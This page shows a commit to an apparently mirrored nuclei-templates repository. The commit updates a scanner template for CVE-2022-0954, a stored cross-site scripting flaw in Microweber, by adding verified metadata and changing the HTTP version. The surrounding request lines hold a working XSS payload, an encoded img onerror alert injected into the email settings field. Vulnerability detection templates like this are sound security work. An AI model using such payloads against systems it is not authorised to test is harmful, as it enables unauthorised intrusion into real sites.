daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update stored-xss-mwb.yaml

patch-1
Ritik Chaddha 2022-07-27 13:18:58 +05:30 committed by GitHub
parent 4fc4fa5050
commit a9afe92229
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
vulnerabilities/microweber/stored-xss-mwb.yaml
View File

@ -14,6 +14,8 @@ info:
cvss-score: 6.8
cwe-id: CWE-79
cve-id: CVE-2022-0954
metadata:
verified: true
tags: cve,cve2022,xss,microweber,authenticated
requests:
@ -34,7 +36,7 @@ requests:
option_key=email_from&option_group=email&option_value=%22%3E%3Cimg+src%3D%22x%22+onerror%3D%22alert(document.domain)%3B%22%3E&module=settings%2Fgroup%2Femail
- |
POST /module/ HTTP/2
POST /module/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: {{BaseURL}}admin/view:shop/action:options